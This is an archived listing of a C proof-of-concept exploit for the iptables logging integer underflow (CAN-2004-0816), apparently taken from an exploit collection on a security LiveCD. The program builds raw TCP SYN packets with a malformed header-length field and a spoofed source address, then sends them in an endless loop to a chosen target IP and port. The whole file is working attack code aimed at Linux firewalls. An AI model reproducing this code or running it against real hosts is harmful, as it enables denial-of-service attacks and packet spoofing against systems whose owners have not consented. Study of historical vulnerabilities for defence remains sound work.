home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / iptableslogintegeroverflowpoc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  221 lines

  1. /* 
  2. * iptables.log.integer.underflow.POC.c 
  3. * (CAN-2004-0816, BID11488, SUSE-SA:2004:037)
  4. *
  5. * felix__zhou _at_ hotmail _dot_ com
  6. *
  7. * */
  8.  
  9. #include <stdio.h>
  10. #include <winsock2.h>
  11. #include <ws2tcpip.h>
  12. #include <time.h>
  13.  
  14. #pragma comment(lib,"ws2_32")
  15.  
  16. static unsigned char dip[4];
  17. static unsigned int da;
  18. static unsigned short dp;
  19. static unsigned char dport[2];
  20.  
  21. static unsigned char sip[4];
  22. static unsigned int sa;
  23. static unsigned short sp;
  24. static unsigned char sport[2];
  25.  
  26. /*
  27. static void ip_csum(unsigned char *ip, unsigned int size, unsigned char *sum)
  28. {
  29. unsigned int csum = 0;
  30. unsigned char *p = ip;
  31.  
  32. while (1 < size) {
  33. csum += (p[0] << 8) + p[1];
  34. p += 2;
  35. size -= 2;
  36. }
  37.  
  38. if (size) 
  39. csum += *p;
  40.  
  41. csum = (csum >> 16) + (csum & 0xffff);
  42. csum += (csum >> 16);
  43.  
  44. sum[0] = (((unsigned short)(~csum)) >> 8);
  45. sum[1] = ((((unsigned short)(~csum)) << 8) >> 8);
  46. }
  47. */
  48.  
  49. static void tcp_csum(unsigned char *tcp, unsigned char *ip, 
  50. unsigned int size, unsigned char *sum)
  51. {
  52. unsigned int csum = 0;
  53. unsigned char *p = tcp;
  54.  
  55. while (1 < size) {
  56. csum += (p[0] << 8) + p[1];
  57. p += 2;
  58. size -= 2;
  59. }
  60.  
  61. csum += (ip[12] << 8) + ip[13];
  62. csum += (ip[14] << 8) + ip[15];
  63.  
  64. csum += (ip[16] << 8) + ip[17];
  65. csum += (ip[18] << 8) + ip[19];
  66.  
  67. csum += 0x06;
  68. csum += 0x14;
  69.  
  70. if (size) 
  71. csum += *p;
  72.  
  73. csum = (csum >> 16) + (csum & 0xffff);
  74. csum += (csum >> 16);
  75.  
  76. sum[0] = (((unsigned short)(~csum)) >> 8);
  77. sum[1] = ((((unsigned short)(~csum)) << 8) >> 8);
  78. }
  79.  
  80. static int work(SOCKET s)
  81. {
  82. DWORD ret = 1;
  83. unsigned char buf[1500];
  84. unsigned char *ip;
  85. unsigned char *tcp;
  86. unsigned int seq = 0x01;
  87. struct sockaddr_in host;
  88.  
  89. ZeroMemory(buf, 1500);
  90.  
  91. ip = buf;
  92. tcp = buf + 20;
  93.  
  94. ip[0] = 0x45; /* ver & hlen */
  95. ip[3] = 0x28; /* tlen */
  96. ip[8] = 0x80; /* ttl */
  97. ip[9] = 0x06; /* protocol */
  98. ip[10] = ip[11] = 0;
  99. ip[12] = sip[0]; /* saddr */
  100. ip[13] = sip[1];
  101. ip[14] = sip[2];
  102. ip[15] = sip[3];
  103. ip[16] = dip[0]; /* daddr */
  104. ip[17] = dip[1];
  105. ip[18] = dip[2];
  106. ip[19] = dip[3];
  107.  
  108. tcp[0] = sport[0];
  109. tcp[1] = sport[1];
  110. tcp[2] = dport[0]; /* dport */
  111. tcp[3] = dport[1];
  112. tcp[12] = 0x40; /* hlen */ /* HERE */
  113. tcp[13] = 0x02; /* flags */
  114.  
  115. ZeroMemory(&host, sizeof(struct sockaddr_in));
  116. host.sin_family = AF_INET;
  117. host.sin_port = dp;
  118. host.sin_addr.s_addr = da;
  119.  
  120. for (;; ) {
  121. tcp[4] = (seq >> 24); /* seq number */
  122. tcp[5] = ((seq << 8) >> 24);
  123. tcp[6] = ((seq << 16) >> 24);
  124. tcp[7] = ((seq << 24) >> 24);
  125. tcp[16] = tcp[17] = 0;
  126. seq ++;
  127.  
  128. tcp_csum(tcp, ip, 0x14, tcp + 16);
  129.  
  130. if (SOCKET_ERROR == sendto(s, buf, 0x28, 0, 
  131. (SOCKADDR *)&(host), sizeof host)) {
  132. if (WSAEACCES != WSAGetLastError()) {
  133. printf("sendto() failed: %d\n", 
  134. WSAGetLastError());
  135.  
  136. ret = 1;
  137. } else {
  138. printf("You must be Administrator!\n");
  139. }
  140.  
  141. break;
  142. }
  143. }
  144.  
  145. return ret;
  146. }
  147.  
  148. static char usage[] = "Usage: %s dip dport sip sport\n";
  149.  
  150. int main(int argc, char **argv)
  151. {
  152. WORD ver = MAKEWORD(2, 2);
  153. WSADATA data;
  154. unsigned char *p;
  155. SOCKET s;
  156. int ret = 1;
  157. BOOL eopt = TRUE;
  158.  
  159. if (5 != argc) {
  160. printf(usage, argv[0]);
  161. goto out;
  162. }
  163.  
  164. if (INADDR_NONE == (da = inet_addr(argv[1]))) {
  165. printf("dest ip address is NOT valid!\n");
  166. printf(usage, argv[0]);
  167. goto out;
  168. }
  169.  
  170. p = (unsigned char *)&da;
  171. dip[0] = p[0];
  172. dip[1] = p[1];
  173. dip[2] = p[2];
  174. dip[3] = p[3];
  175.  
  176. dp = atoi(argv[2]);
  177. dport[0] = ((dp << 16) >> 24);
  178. dport[1] = ((dp << 24) >> 24);
  179.  
  180. if (INADDR_NONE == (sa = inet_addr(argv[3]))) {
  181. printf("source ip address is NOT valid!\n");
  182. printf(usage, argv[3]);
  183. goto out;
  184. }
  185.  
  186. p = (unsigned char *)&sa;
  187. sip[0] = p[0];
  188. sip[1] = p[1];
  189. sip[2] = p[2];
  190. sip[3] = p[3];
  191.  
  192. sp = atoi(argv[4]);
  193. sport[0] = ((sp << 16) >> 24);
  194. sport[1] = ((sp << 24) >> 24);
  195.  
  196. srand((unsigned int)time(0));
  197.  
  198. if (WSAStartup(ver, &data)) {
  199. printf("WSAStartup() failed\n");
  200. goto out;
  201. }
  202.  
  203. if (INVALID_SOCKET == (s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, 0, 0, 0))) 
  204. goto err;
  205.  
  206. if (SOCKET_ERROR == setsockopt(s, IPPROTO_IP, IP_HDRINCL, 
  207. (char *)&eopt, sizeof(eopt)))
  208. goto err1;
  209.  
  210. work(s);
  211.  
  212. err1:
  213. closesocket(s);
  214. err:
  215. WSACleanup();
  216.  
  217. out:
  218. return ret;
  219. }